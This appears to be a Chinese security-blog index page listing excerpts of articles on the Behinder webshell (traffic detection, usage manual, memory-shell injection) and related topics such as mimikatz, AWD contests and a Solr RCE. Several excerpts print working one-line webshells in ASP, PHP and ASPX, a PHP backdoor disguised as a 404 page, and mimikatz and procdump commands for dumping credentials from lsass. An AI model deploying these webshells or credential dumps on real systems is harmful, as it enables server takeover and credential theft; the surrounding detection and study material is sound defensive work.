冰蝎 (Behinder) 加密一句话

2024-09-01

冰蝎动态二进制加密WebShell基于流量侧检测方案

概述冰蝎是一款新型动态二进制加密网站工具.目前已经有6个版本.对于webshell的网络流量侧检测,主要有三个思路.一:webshell上传过程中文件还原进行样本分析,检测静态文件是否报毒.二:webshell上线或建立连接过程的数据通信流量.三:webshell已连接后执行远程控制命令过程的数据通信流量.本文通过分析多个历史冰蝎版本及五种脚本(asp|aspx|jsp|jspx|php),结合第二点检测冰蝎上线的静态特征,并总结部分snort规则. 冰蝎通讯原理冰蝎采用AES加密,很多文章

冰蝎动态二进制加密WebShell特征分析

概述冰蝎一款新型加密网站管理客户端,在实际的渗透测试过程中有非常不错的效果,能绕过目前市场上的大部分WAF.探针设备.本文将通过在虚拟环境中使用冰蝎,通过wireshark抓取冰蝎通信流量,结合平时在授权渗透中使用冰蝎马经验分析并总结特征. 版本介绍目前冰蝎已经迭代6个版本下载地址,从最初的v1.0版本到目前最新的版本v2.0.1,其中v1.0版本可以从此处下载到. 冰蝎最初的版本对于环境的要求较为苛刻,仅支持部分环境,绝大部分环境中都无法连接成功,目前最新版本可使用范围有了较大的提升,PH

【原创】冰蝎v3.0操作使用手册

写在前面近期冰蝎更新了内网穿透模块中的一些功能,有不少朋友不知道参数怎么填,希望能出一个使用指导手册,就借这个机会写一个"说明书"(文中有大量演示动图,请耐心等待加载). 基本信息由于冰蝎采用了会话加密,所以客户端首次和服务端通信会有一个协商的过程(v3.0之后的版本不存在密钥协商过程),成功建立连接后,会把服务器侧的一些基本信息,显示在这个Tab页. 命令执行这里的命令执行提供非交互式的命令执行,常规功能,不再赘述. 虚拟终端虚拟终端提供一个交互式的真实终端,相当于把服务器侧

冰蝎&哥斯拉流量特征分析

1.冰蝎(Behinder) 下载链接:https://github.com/rebeyond/Behinder/releases 截止至我发贴时,冰蝎最新版本是3.0,客户端兼容性有所提升(但仍不是所有JDK都支持的,如果你jar不能运行,看看是不是环境不满足要求,淦) 说点老生常谈的东西冰蝎使用了Java开发.加密传输,而且会常常更新,猝不及防...良心.神器,,,基本的webshell管理功能都有,而且很强大所以被盯上很久了 3.0以前的冰蝎采用了一个叫密钥协商的机制借这图展示一下老

利用shiro反序列化注入冰蝎内存马

利用shiro反序列化注入冰蝎内存马文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马先来看一个普通的jsp写入tomcat filter内存马的代码: <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Fie

记一次解密wireshark抓取的冰蝎通信流量

一.关于冰蝎 1.1 简单介绍冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端.老牌 Webshell 管理神器——中国菜刀的攻击流量特征明显,容易被各类安全设备检测,实际场景中越来越少使用,加密 Webshell 正变得日趋流行. 由于通信流量被加密,传统的 WAF.IDS 设备难以检测,给威胁狩猎带来较大挑战.冰蝎其最大特点就是对交互流量进行对称加密,且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测. 1.2 关于冰蝎通信冰蝎通信大致分为两个阶段

MacOS下如何优雅的使用冰蝎

因为冰蝎也是使用 JAVA 写的跨平台应用程序,我们可以借助 macOS 自带的自动操作 automator.app 来创建一个应用程序. 前言: 冰蝎是一种新型的Webshell连接工具,在日常的红蓝对抗中红方经常,只要将冰蝎的马上传到服务器并能够成功访问,那就可以执行诸多实用的功能 PS:最近一次红蓝某BAT中的一家便使用了冰蝎,绕过一些主流厂商的shell检测(不过应该是他们内部有过修改)成功攻进了企业内网并进行了横向.这也是因为只要在上传冰蝎码时和密匙协商建立连接的时候流量分析设备不能

内网安全之横向移动(冰蝎&&msf&&IPC$)

1.冰蝎介绍冰蝎是一款目前比较流行的Webshell管理工具,在2021年更新的2021.4.20 v3.0 Beta 9 版本中去除了动态密钥协商机制,采用预共享密钥,载荷全程无明文.因其优秀的加密传输特性,被攻击者广泛采用.冰蝎相较其它Webshell管理工具,具备如下优点:支持跨平台运行.多采用加密传输.版本更新频繁等.目前冰蝎已更新到2021.4.20 v3.0 Beta 9 ,新版本增加了Java内存马注入.支持多种Web容器.反向DMZ等功能. 2.实验通过获取内网中的主机sh

Webshell 一句话木马

Webshell介绍什么是 WebShell webshell就是以asp.php.jsp或者cgj等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门由于 webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具攻击者可以利用 webshell从而达到长期控制网站服务器的目的,并获得执行操作权 Webshell分类一句话木马的执行过程 PHP中常见的代码执行函数执行函数与 Webshell的关系 PHP中可以执行代码的函数,常常被用来编写一句话木马 ,因

PHP、asp、aspx、JSP一句话

PHP.asp.aspx.JSP一句话原文地址:https://www.cnblogs.com/JoEcO01/p/11556413.html 1.asp一句话木马: <%eval request(“x”)%> 2.php一句话木马: <?php eval($_POST[g]);?> 3.aspx一句话: <%@ Page Language=”Jscript”%><%eval(Request.Item["x"],”unsafe”);%>

一些变态的PHP一句话后门收集

这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body&

猪圈密码摩斯密码 QWE加密栅栏加密当铺密码

1.猪圈密码猪圈密码:对应下图就是HORSE 2.摩斯密码在线摩斯密码翻译器:http://www.mathsking.net/morse.htm 3.QWE加密键盘按ABC的顺序排列得到对应的字母,Q=A,W=B.... 4.栅栏加密加密过程: 如果我们想要加密一句话,比如: Hello World: 这时候我们先把话中的空格去掉: HelloWorld: 然后,我们先数一数这句话中有多少个字: 10个: 那么分栏,10个可以分成2*5栏,那么产生如下效果; H e l l o W o

渗透-简单制作过waf的中国菜刀

0x01 简单分析 web渗透中很常见的情况,用菜刀连接免杀的一句话木马连不上,有waf 除了变形一句话木马为免杀一句话,我们还需要来制作过waf的菜刀进行连接. 这里用的一句话为来看看菜刀连接一句话的时候的包 x=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F

关于AWD线下攻防的经验

备份: 1.备份源码,使用图像化工具连接ssh后,我喜欢用winscp, 找到根目录后,直接右键后台下载就行. 找根目录这里,有时候比赛不给根目录位置,上次去成信打,说找根目录也是一个考点其实也好找,先打开网站首页,谁的都行,因为大家的文件都一样, 然后查看源码,找一下源码中的php,jpg文件名.比如说有一个congrat.php 然后我进入ssh里面,执行find / -name congrat.p

windows提权之mimikatz

mimikatz privilege::debug #提权命令 sekurlsa::logonPasswords #抓取密码 winmine::infos #扫雷作弊 lsadump::lsa /patch #获取当前此计算机存在过用户的NTLMHASH procdump64.exe -accepteula -ma lsass.exe lsass.dmp #导出为lsass.dump文件 sekurlsa::minidump lsass.dmp #配合procdumo将李飒飒啊.进程内存文件导出

DVWA学习笔记

原来装的DVWA没有认认真真地做一遍,靶场环境也有点问题了,到github上面重新下载了一遍:https://github.com/ethicalhack3r/DVWA 复习常见的高危漏洞,产生,利用,防范的方法 DVWA靶场在本地的搭建不再赘述,网上有很多优秀的博客将级别设置为Low 第一个模块是Brute Force,暴力破解模块当输入错误的账号密码时,页面会返回错误信息当输入正确的账号密码时,页面会返回正确信息使用burpsuite抓包之后暴力破解账号密码因为我们不知道账号和密码

数据库语法整理及WAF绕过方式

关系型数据库关系型数据库:指采用了关系模型来组织数据的数据库. 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织当今主流的关系型数据库有:Oracle,Microsoft SQL Server,MySQL,PostgreSQL,DB2, Microsoft Access, SQLite,MariaDB Oracle Oracle特性: select id,contents,time from news where news_id=1 ① union

初识Rasp——Openrasp代码分析

初识Rasp--Openrasp代码分析 @author:Drag0nf1y 本文首发于奇安信安全社区,现转载到个人博客. 原文链接: https://forum.butian.net/share/1959 什么是RASP? Rasp的概念 RASP(Runtime application self-protection)的概念,最早由Gartner在2014年提出,即"运行时自我保护",指对应用程序的保护不应该单纯依赖于外部的系统,而应该使程序自身带有自我保护的能力.RASP在实

Deformity JSP Webshell、Webshell Hidden Learning

catalogue . JSP基础语法 . JSP Lexer By Lua . Open Source Code Analyzers in Java . WEBSHELL Samples . shell样本特征提取 1. JSP基础语法 0x1: 脚本程序脚本程序可以包含任意量的Java语句.变量.方法或表达式,只要它们在脚本语言中是有效的脚本程序的语法格式: <% 代码片段 %> 或者可以编写与其等价的XML语句 <jsp:scriptlet> 代码片段 </jsp:

Solr 8.2.0最新RCE漏洞复现

漏洞描述国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号无影响范围包括但不限于8.2.0(20191031最新版本) 漏洞复现下载 https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip 解压进入solr-8.2.0/bin目录安装 ./solr -e dih -force //开启示例app 访问主页面h

冰蝎 (Behinder) 加密一句话

热门专题